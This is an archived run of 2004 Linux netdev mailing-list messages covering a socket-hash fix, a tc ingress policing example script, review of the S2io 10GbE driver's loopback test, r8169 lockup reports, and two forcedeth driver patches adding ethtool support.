from [200.138.135.253] (helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1AlJCi-0007zO-00; Tue, 27 Jan 2004 00:43:52 -0200 Received: by oops.kerneljanitors.org (Postfix, from userid 500) id 9E890E724; Tue, 27 Jan 2004 00:57:38 -0200 (BRDT) Date: Tue, 27 Jan 2004 00:57:38 -0200 From: Arnaldo Carvalho de Melo To: "YOSHIFUJI Hideaki / ?$B5HF#1QL@" Cc: davem@redhat.com, erik@hensema.net, netdev@oss.sgi.com Subject: Re: FIX Message-ID: <20040127025737.GG28005@conectiva.com.br> References: <20040124131307.GB2666@bender.home.hensema.net> <20040126.123042.104046496.davem@redhat.com> <20040127.070142.93371828.yoshfuji@linux-ipv6.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040127.070142.93371828.yoshfuji@linux-ipv6.org> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.5.1i X-archive-position: 2828 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 429 Lines: 13 Em Tue, Jan 27, 2004 at 07:01:42AM +0900, YOSHIFUJI Hideaki / ?$B5HF#1QL@ escreveu: > In article <20040126.123042.104046496.davem@redhat.com> (at Mon, 26 Jan 2004 12:30:42 -0800 (PST)), "David S. Miller" says: > > > > > Ok, I've figured out the bug. Arnaldo only fixed one of the > > two incorrect calls to sk_add_node() which should both be > > __sk_add_node(). > > Thanks you! Great! Thanks! - Arnaldo From hadi@cyberus.ca Mon Jan 26 19:15:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 19:15:37 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0R3FM7J016282 for ; Mon, 26 Jan 2004 19:15:24 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AlJh0-0004Yq-5q; Mon, 26 Jan 2004 22:15:10 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: Tomas Szepe Cc: "Vladimir B. Savkin" , netdev@oss.sgi.com In-Reply-To: <20040126152409.GA10053@louise.pinerecords.com> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <20040126152409.GA10053@louise.pinerecords.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075173275.1039.53.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 26 Jan 2004 22:14:35 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2829 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 3966 Lines: 123 On Mon, 2004-01-26 at 10:24, Tomas Szepe wrote: [..] > Actually, this is very much like what we're using IMQ for: > > +-----------+ eth1 --- \ > | shaper + eth2 --- > Internet --- eth0 + in bridge + . --- ... WAN (10 C's of customer IPs) > | setup + . --- > +-----------+ ethN --- / > > We're shaping single IPs and groups of IPs, applying tariff rates > on the sum of inbound and outbound flow (this last point, I'm told, > is the primary reason for our use of IMQ).] This does not IMQ. I am going to type an example at the end of the email. > The machine also does > IP accounting (through custom userland software based on libpcap) > and has to be an ethernet bridge so that it can be replaced by > a piece of wire should it fail and there was no backup hardware left. > Ok, now you are throwing an extra wrench ;-> As i mentioned earlier current dependency of ingress on netfilter is the wrong abstraction (this also applies to IMQ). And for this reason it must go. If you are running 2.4.x i can give you a patch that fixes this and will get things working for you even when you use bridging. Infact i will give example based on this patch. BTW, how are you going to do SNAT with bridging? The example below tries to show many things. Example sharing of policers across many flows within a device, and across devices. Also shows how to do it so that inbound and outbound are summed up. I spent about 30 minutes coming up with this; i hope it illustrates the potential cheers, jamal ---- start untested script here ------------------- # # # lets take example flow1 10.0.0.21 sits behind eth1 packets # # # the idea is to have 10.0.0.21/32 first try to use bandwith # guaranteed to it (index 1) if exceeds that it gets demoted to mark 2 # and it tries to use bandwidth that is shared by all flows # behind eth1; (index 100) # if that fails it gets demoted even more to mark 3 and it tries to use # from a pool of bandwith available to every flow on every device # index 300 if that fails then drop the packet etc # # on egress use the marks to select different priority queues. # Give better treatment to mark 1 than 2 than 3 .. # # On the return path from internet to eth1, packets from # internet to 10.0.0.21 are forced to use policer index 1 # and therefore ensuring that the bandwidth is allocated # is the sum of inbound and outbound for that flow .. # # #add ingress qdisc tc qdisc add dev eth1 ingress # tc filter add dev eth1 parent ffff: protocol ip prio 1 \ u32 match ip src 10.0.0.21/32 flowid 1:15 \ # first give it a mark of 1 action ipt -j mark --set-mark 1 index 2 \ # ensure policer index 1 is used action police index 1 rate 1kbit burst 9k pipe \ # exceeded flows bound rate .. action ipt -j mark --set-mark 2 \ # action police index 200 mtu 5000 rate 1kbit burst 10k pipe \ action ipt -j mark --set-mark 3 \ action police index 300 mtu 5000 rate 1kbit burst 90k drop # # # do something on eth0 with these firewall marks # example use them to send packets to different classes/queue # give priority to marks 1 then 2 then 3 # . . . # now the return path to 10.0.0.21 ... tc qdisc add dev eth1 handle 1:0 root prio # # note how exactly the same policer is used ("index 1") tc filter add dev eth1 parent 1:0 protocol ip prio 1 \ u32 match ip dst 10.0.0.21/32 flowid 1:25 \ action police index 1 rate 1kbit burst 9k pipe . . . look at the stats with "tc -s filter show parent ffff: dev eth1" . A sample would look like: ------------ jroot# tc -s filter show parent ffff: dev eth0 filter protocol ip pref 1 u32 filter protocol ip pref 1 u32 fh 800: ht divisor 1 filter protocol ip pref 1 u32 fh 800::800 order 2048 key ht 800 bkt 0 flowid 1:1 5 match 0a000015/ffffffff at 12 . . action order 2: police 1 action pipe rate 1Kbit burst 9Kb mtu 2Kb Sent 188832 bytes 2248 pkts (dropped 0, overlimits 2122) . . ------------- From leonid.grossman@s2io.com Mon Jan 26 21:33:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 21:34:00 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0R5Xk7J023597 for ; Mon, 26 Jan 2004 21:33:46 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0R5XWFG022459; Tue, 27 Jan 2004 00:33:32 -0500 (EST) Received: from lgt40 ([192.168.0.4]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0R5XSKK005180; Tue, 27 Jan 2004 00:33:29 -0500 (EST) From: "Leonid Grossman" To: "'Stephen Hemminger'" , "'Andi Kleen'" Cc: , Subject: RE: Submission for S2io 10GbE driver Date: Mon, 26 Jan 2004 21:32:48 -0800 Message-ID: <001801c3e497$010671a0$0400a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <20040123162134.79c67ed5.shemminger@osdl.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -106.2 X-Spam-Outlook-Score: () X-Spam-Features: BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2830 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev Content-Length: 1714 Lines: 55 Hi Stephen, Below are responses from our developer. Thanks for the input, Leonid > -----Original Message----- > From: Stephen Hemminger [mailto:shemminger@osdl.org] > Sent: Friday, January 23, 2004 4:22 PM > To: Andi Kleen > Cc: Leonid Grossman; netdev@oss.sgi.com > Subject: Re: Submission for S2io 10GbE driver > > > Noticed the setup loopback test seems to register for a > packet type and then forget to unregister that type! The packet type gets unregistered at the end of the test in the 'reset_loopback' function through the system call 'dev_remove_pack()' > > Also nothing really restricts the packet type to only coming > in on the expected interface; therefore if someone sends the > same packet in over another interface, then sp->loop_pkt_cnt > will end up incrementing some other drivers private data > structure *bad*. Correct, that's why in the s2io.c source where I define the packet_type's protocol value through the Macro 'ETH_LOOP_TEST_TYPE' there's a ToDo to obtain a private protocol ID. This way no app in the real world can ever pass a frame with that T/L field in the packet. Also, the problem can only happen during the 3 second duration when this test is in progress. > > IMHO the whole loopback test frame stuff seems like something > in a test bed driver, not production code. The loopback test is there as a part of the ethtool's diagnostic option. There are pros and cons of having the test in there I guess, anyone else has an opinion on this? Do other net drivers normally support loopback and other diag tests as a part of the ethtool support, or they provide little/no support for the option and ship a standalone diag program instead? Thanks, Leonid > From leonid.grossman@s2io.com Mon Jan 26 22:20:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 22:20:58 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0R6Ki7J025471 for ; Mon, 26 Jan 2004 22:20:44 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0R6KVFG022622; Tue, 27 Jan 2004 01:20:31 -0500 (EST) Received: from lgt40 ([192.168.0.4]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0R6KSKK012173; Tue, 27 Jan 2004 01:20:28 -0500 (EST) From: "Leonid Grossman" To: "'Jeff Garzik'" Cc: "'Stephen Hemminger'" , "'Andi Kleen'" , , Subject: RE: Submission for S2io 10GbE driver Date: Mon, 26 Jan 2004 22:19:47 -0800 Message-ID: <000401c3e49d$922d8140$0400a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <40160060.4010709@pobox.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -106.2 X-Spam-Outlook-Score: () X-Spam-Features: BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2831 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev Content-Length: 681 Lines: 32 > > The ethtool diag stuff is more of a quick sanity test than anything > exhaustive. > > I definitely want to discourage tons of test code in drivers, as its > code that users will almost-never run, it bloats the driver, > and can be > done with a special diag-only driver or diag program (or a > combination > of both). > > A lot of the 10/100 drivers originated from Donald Becker, > who typically > creates a userland (i.e. separate) diag program for each > driver he writes. I see the point; we'll go ahead and get rid of the loopback. We actually have pretty extensive standalone diag tool that is based on diag driver. Thanks, Leonid > > Jeff > > > From bhartin@straus-frank.com Mon Jan 26 22:57:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 22:57:31 -0800 (PST) Received: from kkuy210.securesites.net (kkuy210.securesites.net [204.2.109.192]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0R6vH7J026922 for ; Mon, 26 Jan 2004 22:57:17 -0800 Received: from edp12 (209-99-2-226.sat.texas.net [209.99.2.226] (may be forged)) by kkuy210.securesites.net (8.12.6p3/8.12.6) with ESMTP id i0R6vE3Q069612; Tue, 27 Jan 2004 06:57:14 GMT (envelope-from bhartin@straus-frank.com) Date: Tue, 27 Jan 2004 00:51:44 -0600 (CST) From: bhartin@straus-frank.com X-X-Sender: bhartin@edp12.straus-frank.int To: Francois Romieu cc: netdev@oss.sgi.com Subject: Re: r8169, 2.6.2-rc2, Sager 4780 laptop In-Reply-To: <20040126235559.A3832@electric-eye.fr.zoreil.com> Message-ID: References: <20040126235559.A3832@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2832 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bhartin@straus-frank.com Precedence: bulk X-list: netdev Content-Length: 2168 Lines: 67 Okay, I patched using only the patches listed below. These are actually applied against 2.6.2-rc2, since I don't have 2.6.2-rc1 on hand at the moment, and your patches still apply cleanly. acpi=off - RX - Pushed about a gig, averaging 8.2MB/sec. Appeared to work ok. - TX - Once I hit 642MB transfered (avg 8.9MB/sec), the system locked up hard. SMP off, acpi on - TX - Hard lock at 307MB. SMP off, acpi off - TX - Hard lock at 345MB. I'll try to investigate further tomorrow. I have to go out of town starting Thursday, and was hoping to have everything working by then. Unfortunately, I have other problems to deal with as well (ati-drivers, slmodem, etc). Thanks On Mon, 26 Jan 2004, Francois Romieu wrote: > bhartin@straus-frank.com : > [...] > > Attached is a tar.gz containing the outputs you request in your README, > > plus 'lspci -v' output and my .config for the kernel. This data was > > collected from a fresh 2.6.2-rc2 bootup, using your full set of 2.6.2-rc1 > > patches, manually doing a 'modprobe r8169' once booted up. The system is > > running a P4 with HT enabled, with an SMP kernel. > > There has been report of non-regression on non-SMP kernel with the following > patches applied (2.6.2-rc1 serie): > r8169-tx-index-overflow.patch > r8169-dma-api-tx.patch > r8169-dma-api-rx-buffers.patch > r8169-dma-api-tx-buffers.patch > r8169-rx_copybreak.patch > r8169-mac-phy-version.patch > r8169-init_one.patch > r8169-timer.patch > r8169-hw_start.patch > r8169-intr_mask.patch > r8169-suspend.patch > r8169-endianness.patch > r8169-getstats.patch > > Can you confirm that the driver behaves the same as the standard driver > with a non-SMP enabled kernel ? > > Does it make a difference if you give an 'acpi=off' option at boot time ? > > r8169-addr-high.patch is not doing its job on amd64 so it is not suggested > to use it at all. > > There is something broken wrt SMP and the r8169 patches: do not use both at > the same time. I still have to find what happens here. > > -- > Ueimor > Bradley Hartin - bhartin@straus-frank.com Communications and Network Administrator Straus-Frank Company From c-d.hailfinger.kernel.2004@gmx.net Tue Jan 27 03:21:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 03:21:20 -0800 (PST) Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RBL57J013646 for ; Tue, 27 Jan 2004 03:21:06 -0800 Received: (qmail 10820 invoked by uid 65534); 27 Jan 2004 11:21:00 -0000 Received: from stud212047.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.47) by mail.gmx.net (mp021) with SMTP; 27 Jan 2004 12:21:00 +0100 X-Authenticated: #21910825 Message-ID: <4016499D.6020302@gmx.net> Date: Tue, 27 Jan 2004 12:21:01 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Jeff Garzik CC: Netdev , Manfred Spraul Subject: [PATCH 2/2] [2.6] update forcedeth from 0.22 to 0.23 X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------090500090206060008040307" X-archive-position: 2836 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Content-Length: 10559 Lines: 388 This is a multi-part message in MIME format. --------------090500090206060008040307 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff, this patch updates forcedeth 0.22 to 0.23. The main changes are: - Support ethtool - Make the generic function names more descriptive Please consider applying this patch and the previous one. The other comments we received during the discussion a few days ago will be addressed in later versions. Right now I want to get the driver in a state suitable for inclusion in 2.4 to get a wider testing base. Comments are welcome. Regards, Carl-Daniel --------------090500090206060008040307 Content-Type: text/plain; name="forcedeth_0.22to0.23.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="forcedeth_0.22to0.23.txt" --- 2.6/drivers/net/forcedeth.c 2004-01-25 10:32:20.000000000 +0100 +++ build-2.6/drivers/net/forcedeth.c 2004-01-25 11:07:33.000000000 +0100 @@ -64,7 +64,8 @@ * 0.21: 12 Jan 2004: additional alloc fix, nic polling fix. * 0.22: 19 Jan 2004: reprogram timer to a sane rate, avoid lockup * on close. - * (C) Carl-Daniel Hailfinger + * (C) Carl-Daniel Hailfinger, Manfred Spraul + * 0.23: 26 Jan 2004: various small cleanups * * Known bugs: * We suspect that on some hardware no TX done interrupts are generated. @@ -300,7 +301,7 @@ #define NV_WAKEUPMASKENTRIES 4 /* General driver defaults */ -#define NV_WATCHDOG_TIMEO (2*HZ) +#define NV_WATCHDOG_TIMEO (5*HZ) #define DEFAULT_MTU 1500 /* also maximum supported, at least for now */ #define RX_RING 128 @@ -534,12 +535,12 @@ } /* - * get_stats: dev->get_stats function + * nv_get_stats: dev->get_stats function * Get latest stats value from the nic. * Called with read_lock(&dev_base_lock) held for read - * only synchronized against unregister_netdevice. */ -static struct net_device_stats *get_stats(struct net_device *dev) +static struct net_device_stats *nv_get_stats(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); @@ -550,14 +551,55 @@ return &np->stats; } +static int nv_ethtool_ioctl (struct net_device *dev, void *useraddr) +{ + struct fe_priv *np = get_nvpriv(dev); + u32 ethcmd; + + if (copy_from_user(ðcmd, useraddr, sizeof (ethcmd))) + return -EFAULT; + + switch (ethcmd) { + case ETHTOOL_GDRVINFO: + { + struct ethtool_drvinfo info = { ETHTOOL_GDRVINFO }; + strcpy(info.driver, "forcedeth"); + strcpy(info.version, FORCEDETH_VERSION); + strcpy(info.bus_info, pci_name(np->pci_dev)); + if (copy_to_user(useraddr, &info, sizeof (info))) + return -EFAULT; + return 0; + } + case ETHTOOL_GLINK: + { + struct ethtool_value edata = { ETHTOOL_GLINK }; + edata.data = !!netif_carrier_ok(dev); + + if (copy_to_user(useraddr, &edata, sizeof(edata))) + return -EFAULT; + return 0; + } + + default: + break; + } + + return -EOPNOTSUPP; +} /* - * nic_ioctl: dev->do_ioctl function + * nv_ioctl: dev->do_ioctl function * Called with rtnl_lock held. */ -static int nic_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) +static int nv_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - return -EOPNOTSUPP; + switch(cmd) { + case SIOCETHTOOL: + return nv_ethtool_ioctl(dev, (void *) rq->ifr_data); + + default: + return -EOPNOTSUPP; + } } /* @@ -675,10 +717,10 @@ } /* - * start_xmit: dev->hard_start_xmit function + * nv_start_xmit: dev->hard_start_xmit function * Called with dev->xmit_lock held. */ -static int start_xmit(struct sk_buff *skb, struct net_device *dev) +static int nv_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); int nr = np->next_tx % TX_RING; @@ -693,7 +735,7 @@ spin_lock_irq(&np->lock); wmb(); np->tx_ring[nr].Flags = np->tx_flags; - dprintk(KERN_DEBUG "%s: start_xmit: packet packet %d queued for transmission.\n", + dprintk(KERN_DEBUG "%s: nv_start_xmit: packet packet %d queued for transmission.\n", dev->name, np->next_tx); { int j; @@ -712,6 +754,7 @@ netif_stop_queue(dev); spin_unlock_irq(&np->lock); writel(NVREG_TXRXCTL_KICK, get_hwbase(dev) + NvRegTxRxControl); + pci_push(get_hwbase(dev)); return 0; } @@ -757,10 +800,10 @@ } /* - * tx_timeout: dev->tx_timeout function + * nv_tx_timeout: dev->tx_timeout function * Called with dev->xmit_lock held. */ -static void tx_timeout(struct net_device *dev) +static void nv_tx_timeout(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); u8 *base = get_hwbase(dev); @@ -811,13 +854,13 @@ break; /* still owned by hardware, */ /* - * the packet is for us - immediately tear down the pci mapping, and - * prefetch the first cacheline of the packet. + * the packet is for us - immediately tear down the pci mapping. + * TODO: check if a prefetch of the first cacheline improves + * the performance. */ pci_unmap_single(np->pci_dev, np->rx_dma[i], np->rx_skbuff[i]->len, PCI_DMA_FROMDEVICE); - prefetch(np->rx_skbuff[i]->data); { int j; @@ -884,10 +927,10 @@ } /* - * change_mtu: dev->change_mtu function + * nv_change_mtu: dev->change_mtu function * Called with dev_base_lock held for read. */ -static int change_mtu(struct net_device *dev, int new_mtu) +static int nv_change_mtu(struct net_device *dev, int new_mtu) { if (new_mtu > DEFAULT_MTU) return -EINVAL; @@ -896,10 +939,10 @@ } /* - * change_mtu: dev->change_mtu function + * nv_set_multicast: dev->set_multicast function * Called with dev->xmit_lock held. */ -static void set_multicast(struct net_device *dev) +static void nv_set_multicast(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); u8 *base = get_hwbase(dev); @@ -1112,13 +1155,13 @@ enable_irq(dev->irq); } -static int open(struct net_device *dev) +static int nv_open(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); u8 *base = get_hwbase(dev); int ret, oom, i; - dprintk(KERN_DEBUG "forcedeth: open\n"); + dprintk(KERN_DEBUG "nv_open: begin\n"); /* 1) erase previous misconfiguration */ /* 4.1-1: stop adapter: ignored, 4.3 seems to be overkill */ @@ -1166,17 +1209,23 @@ for (i = 1; i < 32; i++) { int id1, id2; + spin_lock_irq(&np->lock); id1 = mii_rw(dev, i, MII_PHYSID1, MII_READ); - if (id1 < 0) + spin_unlock_irq(&np->lock); + if (id1 < 0 || id1 == 0xffff) continue; + spin_lock_irq(&np->lock); id2 = mii_rw(dev, i, MII_PHYSID2, MII_READ); - if (id2 < 0) + spin_unlock_irq(&np->lock); + if (id2 < 0 || id2 == 0xffff) continue; dprintk(KERN_DEBUG "%s: open: Found PHY %04x:%04x at address %d.\n", dev->name, id1, id2, i); np->phyaddr = i; + spin_lock_irq(&np->lock); update_linkspeed(dev); + spin_unlock_irq(&np->lock); break; } @@ -1213,9 +1262,9 @@ base + NvRegRingSizes); i = readl(base + NvRegPowerState); - if ( (i & NVREG_POWERSTATE_POWEREDUP) == 0) { + if ( (i & NVREG_POWERSTATE_POWEREDUP) == 0) writel(NVREG_POWERSTATE_POWEREDUP|i, base + NvRegPowerState); - } + pci_push(base); udelay(10); writel(readl(base + NvRegPowerState) | NVREG_POWERSTATE_VALID, base + NvRegPowerState); @@ -1247,7 +1296,9 @@ netif_start_queue(dev); if (oom) mod_timer(&np->oom_kick, jiffies + OOM_REFILL); - if (!(mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ) & BMSR_ANEGCOMPLETE)) { + if (mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ) & BMSR_ANEGCOMPLETE) { + netif_carrier_on(dev); + } else { printk("%s: no link during initialization.\n", dev->name); netif_carrier_off(dev); } @@ -1260,7 +1311,7 @@ return ret; } -static int close(struct net_device *dev) +static int nv_close(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); u8 *base; @@ -1295,7 +1346,7 @@ return 0; } -static int __devinit probe_nic(struct pci_dev *pci_dev, const struct pci_device_id *id) +static int __devinit nv_probe(struct pci_dev *pci_dev, const struct pci_device_id *id) { struct net_device *dev; struct fe_priv *np; @@ -1304,11 +1355,11 @@ int err, i; dev = alloc_etherdev(sizeof(struct fe_priv)); - np = get_nvpriv(dev); err = -ENOMEM; if (!dev) goto out; + np = get_nvpriv(dev); np->pci_dev = pci_dev; spin_lock_init(&np->lock); SET_MODULE_OWNER(dev); @@ -1356,7 +1407,7 @@ err = -ENOMEM; dev->base_addr = (unsigned long) ioremap(addr, NV_PCI_REGSZ); if (!dev->base_addr) - goto out_disable; + goto out_relreg; dev->irq = pci_dev->irq; np->rx_ring = pci_alloc_consistent(pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), &np->ring_addr); @@ -1364,19 +1415,18 @@ goto out_unmap; np->tx_ring = &np->rx_ring[RX_RING]; - dev->open = open; - dev->stop = close; - dev->hard_start_xmit = start_xmit; - dev->get_stats = get_stats; - dev->change_mtu = change_mtu; - dev->set_multicast_list = set_multicast; - dev->do_ioctl = nic_ioctl; - dev->tx_timeout = tx_timeout; + dev->open = nv_open; + dev->stop = nv_close; + dev->hard_start_xmit = nv_start_xmit; + dev->get_stats = nv_get_stats; + dev->change_mtu = nv_change_mtu; + dev->set_multicast_list = nv_set_multicast; + dev->do_ioctl = nv_ioctl; + dev->tx_timeout = nv_tx_timeout; dev->watchdog_timeo = NV_WATCHDOG_TIMEO; pci_set_drvdata(pci_dev, dev); - /* read the mac address */ base = get_hwbase(dev); np->orig_mac[0] = readl(base + NvRegMacAddrA); @@ -1433,6 +1483,7 @@ out_freering: pci_free_consistent(np->pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), np->rx_ring, np->ring_addr); + pci_set_drvdata(pci_dev, NULL); out_unmap: iounmap(get_hwbase(dev)); out_relreg: @@ -1441,12 +1492,11 @@ pci_disable_device(pci_dev); out_free: free_netdev(dev); - pci_set_drvdata(pci_dev, NULL); out: return err; } -static void __devexit remove_nic(struct pci_dev *pci_dev) +static void __devexit nv_remove(struct pci_dev *pci_dev) { struct net_device *dev = pci_get_drvdata(pci_dev); struct fe_priv *np = get_nvpriv(dev); @@ -1455,7 +1505,7 @@ unregister_netdev(dev); /* special op: write back the misordered MAC address - otherwise - * the next probe_nic would see a wrong address. + * the next nv_probe would see a wrong address. */ writel(np->orig_mac[0], base + NvRegMacAddrA); writel(np->orig_mac[1], base + NvRegMacAddrB); @@ -1497,8 +1547,8 @@ static struct pci_driver driver = { .name = "forcedeth", .id_table = pci_tbl, - .probe = probe_nic, - .remove = __devexit_p(remove_nic), + .probe = nv_probe, + .remove = __devexit_p(nv_remove), }; --------------090500090206060008040307-- From c-d.hailfinger.kernel.2004@gmx.net Tue Jan 27 03:21:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 03:21:15 -0800 (PST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RBL17J013645 for ; Tue, 27 Jan 2004 03:21:02 -0800 Received: (qmail 7608 invoked by uid 65534); 27 Jan 2004 11:20:56 -0000 Received: from stud212047.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.47) by mail.gmx.net (mp018) with SMTP; 27 Jan 2004 12:20:56 +0100 X-Authenticated: #21910825 Message-ID: <40164999.6020806@gmx.net> Date: Tue, 27 Jan 2004 12:20:57 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Jeff Garzik CC: Netdev , Manfred Spraul Subject: [PATCH 1/2] [2.6] update forcedeth from 0.20 to 0.22 X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------030803080205040107090208" X-archive-position: 2835 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Content-Length: 4961 Lines: 146 This is a multi-part message in MIME format. --------------030803080205040107090208 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff, the attached patch is against current Linus bk tree and updates forcedeth from 0.20 to 0.22. This is the version discussed a few days ago. To address the comments we received on 0.22, we have prepared another patch to 0.23, which is the next one in this series. Please consider applying this patch and the next one. The patches are split up so you can verify more easily that we addressed most of the comments. Regards, Carl-Daniel --------------030803080205040107090208 Content-Type: text/plain; name="forcedeth_0.20to0.22.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="forcedeth_0.20to0.22.txt" ===== drivers/net/forcedeth.c 1.5 vs edited ===== --- 1.5/drivers/net/forcedeth.c Fri Jan 16 01:47:29 2004 +++ edited/drivers/net/forcedeth.c Fri Jan 23 17:00:27 2004 @@ -60,15 +60,23 @@ * addresses, really stop rx if already running * in start_rx, clean up a bit. * (C) Carl-Daniel Hailfinger - * 0.20: 07 Dev 2003: alloc fixes + * 0.20: 07 Dec 2003: alloc fixes + * 0.21: 12 Jan 2004: additional alloc fix, nic polling fix. + * 0.22: 19 Jan 2004: reprogram timer to a sane rate, avoid lockup + * on close. + * (C) Carl-Daniel Hailfinger * * Known bugs: - * The irq handling is wrong - no tx done interrupts are generated. - * This means recovery from netif_stop_queue only happens in the hw timer - * interrupt (1/2 second on nForce2, 1/100 second on nForce3), or if an - * rx packet arrives by chance. + * We suspect that on some hardware no TX done interrupts are generated. + * This means recovery from netif_stop_queue only happens if the hw timer + * interrupt fires (100 times/second, configurable with NVREG_POLL_DEFAULT) + * and the timer is active in the IRQMask, or if a rx packet arrives by chance. + * If your hardware reliably generates tx done interrupts, then you can remove + * DEV_NEED_TIMERIRQ from the driver_data flags. + 